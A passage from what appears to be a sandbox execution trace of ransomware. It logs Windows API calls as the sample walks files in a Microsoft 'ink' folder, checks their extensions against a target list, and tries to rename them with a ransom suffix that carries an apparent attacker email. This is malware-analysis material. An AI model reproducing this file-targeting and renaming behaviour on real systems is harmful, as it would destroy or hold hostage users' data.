files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.858] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=208408) returned 1 [0089.858] CloseHandle (hObject=0x35c) returned 1 [0089.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0089.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.859] lstrlenW (lpString=".doc") returned 4 [0089.859] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.859] lstrlenW (lpString=".docx") returned 5 [0089.859] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0089.859] lstrlenW (lpString=".pdf") returned 4 [0089.859] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.859] lstrlenW (lpString=".xls") returned 4 [0089.859] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.859] lstrlenW (lpString=".xlsx") returned 5 [0089.859] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0089.859] lstrlenW (lpString=".ppt") returned 4 [0089.859] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.859] lstrlenW (lpString=".zip") returned 4 [0089.859] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.859] lstrlenW (lpString=".rar") returned 4 [0089.859] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.859] lstrlenW (lpString=".bz2") returned 4 [0089.859] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.859] lstrlenW (lpString=".7z") returned 3 [0089.859] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.860] lstrlenW (lpString=".dbf") returned 4 [0089.860] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.860] lstrlenW (lpString=".1cd") returned 4 [0089.860] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.860] lstrlenW (lpString=".jpg") returned 4 [0089.860] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.860] lstrlenW (lpString=".doc") returned 4 [0089.860] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.860] lstrlenW (lpString=".docx") returned 5 [0089.860] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0089.860] lstrlenW (lpString=".pdf") returned 4 [0089.860] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.860] lstrlenW (lpString=".xls") returned 4 [0089.860] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.860] lstrlenW (lpString=".xlsx") returned 5 [0089.860] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0089.860] lstrlenW (lpString=".ppt") returned 4 [0089.860] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.860] lstrlenW (lpString=".zip") returned 4 [0089.861] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.861] lstrlenW (lpString=".rar") returned 4 [0089.861] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.861] lstrlenW (lpString=".bz2") returned 4 [0089.861] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.861] lstrlenW (lpString=".7z") returned 3 [0089.861] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.861] lstrlenW (lpString=".dbf") returned 4 [0089.861] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.861] lstrlenW (lpString=".1cd") returned 4 [0089.861] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0089.861] lstrlenW (lpString=".jpg") returned 4 [0089.861] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.861] Sleep (dwMilliseconds=0x64) [0090.460] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0090.460] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0090.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0090.465] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1600388) returned 1 [0090.465] CloseHandle (hObject=0x2b4) returned 1 [0090.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0090.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0090.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0090.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0090.465] lstrlenW (lpString=".doc") returned 4 [0090.465] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0090.465] lstrlenW (lpString=".docx") returned 5 [0090.466] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0090.466] lstrlenW (lpString=".pdf") returned 4 [0090.466] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0090.466] lstrlenW (lpString=".xls") returned 4 [0090.466] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0090.466] lstrlenW (lpString=".xlsx") returned 5 [0090.466] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0090.466] lstrlenW (lpString=".ppt") returned 4 [0090.466] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0090.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0090.466] lstrlenW (lpString=".zip") returned 4 [0090.466] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0090.466] lstrlenW (lpString=".rar") returned 4 [0090.466] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0090.466] lstrlenW (lpString=".bz2") returned 4 [0090.466] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0090.466] lstrlenW (lpString=".7z") returned 3 [0090.466] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0090.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0090.466] Sleep (dwMilliseconds=0x64) [0091.271] Sleep (dwMilliseconds=0x64) [0091.829] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0092.641] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=247) returned 1 [0092.641] CloseHandle (hObject=0x328) returned 1 [0092.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0092.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.642] lstrlenW (lpString=".doc") returned 4 [0092.642] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0092.642] lstrlenW (lpString=".docx") returned 5 [0092.642] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0092.642] lstrlenW (lpString=".pdf") returned 4 [0092.642] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0092.642] lstrlenW (lpString=".xls") returned 4 [0092.642] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0092.642] lstrlenW (lpString=".xlsx") returned 5 [0092.642] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0092.642] lstrlenW (lpString=".ppt") returned 4 [0092.642] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0092.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.643] lstrlenW (lpString=".zip") returned 4 [0092.643] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0092.643] lstrlenW (lpString=".rar") returned 4 [0092.643] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0092.643] lstrlenW (lpString=".bz2") returned 4 [0092.643] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0092.643] lstrlenW (lpString=".7z") returned 3 [0092.643] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0092.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.643] lstrlenW (lpString=".dbf") returned 4 [0092.643] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0092.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.643] lstrlenW (lpString=".1cd") returned 4 [0092.643] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0092.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.643] lstrlenW (lpString=".jpg") returned 4 [0092.643] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0092.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.643] lstrlenW (lpString=".doc") returned 4 [0092.643] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0092.643] lstrlenW (lpString=".docx") returned 5 [0092.643] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0092.643] lstrlenW (lpString=".pdf") returned 4 [0092.643] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0092.643] lstrlenW (lpString=".xls") returned 4 [0092.644] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0092.644] lstrlenW (lpString=".xlsx") returned 5 [0092.644] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0092.644] lstrlenW (lpString=".ppt") returned 4 [0092.644] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0092.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.644] lstrlenW (lpString=".zip") returned 4 [0092.644] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0092.644] lstrlenW (lpString=".rar") returned 4 [0092.644] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0092.644] lstrlenW (lpString=".bz2") returned 4 [0092.644] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0092.644] lstrlenW (lpString=".7z") returned 3 [0092.644] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0092.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.644] lstrlenW (lpString=".dbf") returned 4 [0092.644] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0092.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.644] lstrlenW (lpString=".1cd") returned 4 [0092.644] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0092.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0092.644] lstrlenW (lpString=".jpg") returned 4 [0092.644] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0092.644] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.645] lstrlenW (lpString="ipsar.xml") returned 9 [0092.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.089] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=2418) returned 1 [0093.089] CloseHandle (hObject=0x34c) returned 1 [0093.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0093.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.089] lstrlenW (lpString=".doc") returned 4 [0093.089] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.089] lstrlenW (lpString=".docx") returned 5 [0093.089] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0093.089] lstrlenW (lpString=".pdf") returned 4 [0093.089] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.089] lstrlenW (lpString=".xls") returned 4 [0093.090] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.090] lstrlenW (lpString=".xlsx") returned 5 [0093.090] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0093.090] lstrlenW (lpString=".ppt") returned 4 [0093.090] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.090] lstrlenW (lpString=".zip") returned 4 [0093.090] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.090] lstrlenW (lpString=".rar") returned 4 [0093.090] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.090] lstrlenW (lpString=".bz2") returned 4 [0093.090] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.090] lstrlenW (lpString=".7z") returned 3 [0093.090] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.090] lstrlenW (lpString=".dbf") returned 4 [0093.090] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.090] lstrlenW (lpString=".1cd") returned 4 [0093.090] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.090] lstrlenW (lpString=".jpg") returned 4 [0093.090] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.091] lstrlenW (lpString=".doc") returned 4 [0093.091] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.091] lstrlenW (lpString=".docx") returned 5 [0093.091] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0093.091] lstrlenW (lpString=".pdf") returned 4 [0093.091] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.091] lstrlenW (lpString=".xls") returned 4 [0093.091] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.091] lstrlenW (lpString=".xlsx") returned 5 [0093.091] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0093.091] lstrlenW (lpString=".ppt") returned 4 [0093.091] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.091] lstrlenW (lpString=".zip") returned 4 [0093.091] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.091] lstrlenW (lpString=".rar") returned 4 [0093.091] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.091] lstrlenW (lpString=".bz2") returned 4 [0093.091] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.091] lstrlenW (lpString=".7z") returned 3 [0093.091] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.091] lstrlenW (lpString=".dbf") returned 4 [0093.091] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.092] lstrlenW (lpString=".1cd") returned 4 [0093.092] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0093.092] lstrlenW (lpString=".jpg") returned 4 [0093.092] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.092] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.092] lstrlenW (lpString="ipstr.xml") returned 9 [0093.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.093] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=2720) returned 1 [0093.093] CloseHandle (hObject=0x34c) returned 1 [0093.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0093.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.094] lstrlenW (lpString=".doc") returned 4 [0093.094] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.094] lstrlenW (lpString=".docx") returned 5 [0093.094] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0093.094] lstrlenW (lpString=".pdf") returned 4 [0093.094] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.094] lstrlenW (lpString=".xls") returned 4 [0093.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.094] lstrlenW (lpString=".xlsx") returned 5 [0093.094] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0093.094] lstrlenW (lpString=".ppt") returned 4 [0093.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.094] lstrlenW (lpString=".zip") returned 4 [0093.094] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.094] lstrlenW (lpString=".rar") returned 4 [0093.094] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.094] lstrlenW (lpString=".bz2") returned 4 [0093.094] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.094] lstrlenW (lpString=".7z") returned 3 [0093.094] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.095] lstrlenW (lpString=".dbf") returned 4 [0093.095] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.095] lstrlenW (lpString=".1cd") returned 4 [0093.095] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.095] lstrlenW (lpString=".jpg") returned 4 [0093.095] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.095] lstrlenW (lpString=".doc") returned 4 [0093.095] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.095] lstrlenW (lpString=".docx") returned 5 [0093.095] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0093.095] lstrlenW (lpString=".pdf") returned 4 [0093.095] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.095] lstrlenW (lpString=".xls") returned 4 [0093.095] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.095] lstrlenW (lpString=".xlsx") returned 5 [0093.095] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0093.095] lstrlenW (lpString=".ppt") returned 4 [0093.095] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.096] lstrlenW (lpString=".zip") returned 4 [0093.096] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.096] lstrlenW (lpString=".rar") returned 4 [0093.096] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.096] lstrlenW (lpString=".bz2") returned 4 [0093.096] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.096] lstrlenW (lpString=".7z") returned 3 [0093.096] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.096] lstrlenW (lpString=".dbf") returned 4 [0093.096] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.096] lstrlenW (lpString=".1cd") returned 4 [0093.096] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0093.096] lstrlenW (lpString=".jpg") returned 4 [0093.096] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.096] Sleep (dwMilliseconds=0x64) [0093.669] Sleep (dwMilliseconds=0x64) [0094.226] Sleep (dwMilliseconds=0x64) [0094.782] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0094.782] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0094.782] CreateFileW (lpFileName="C:\\Program 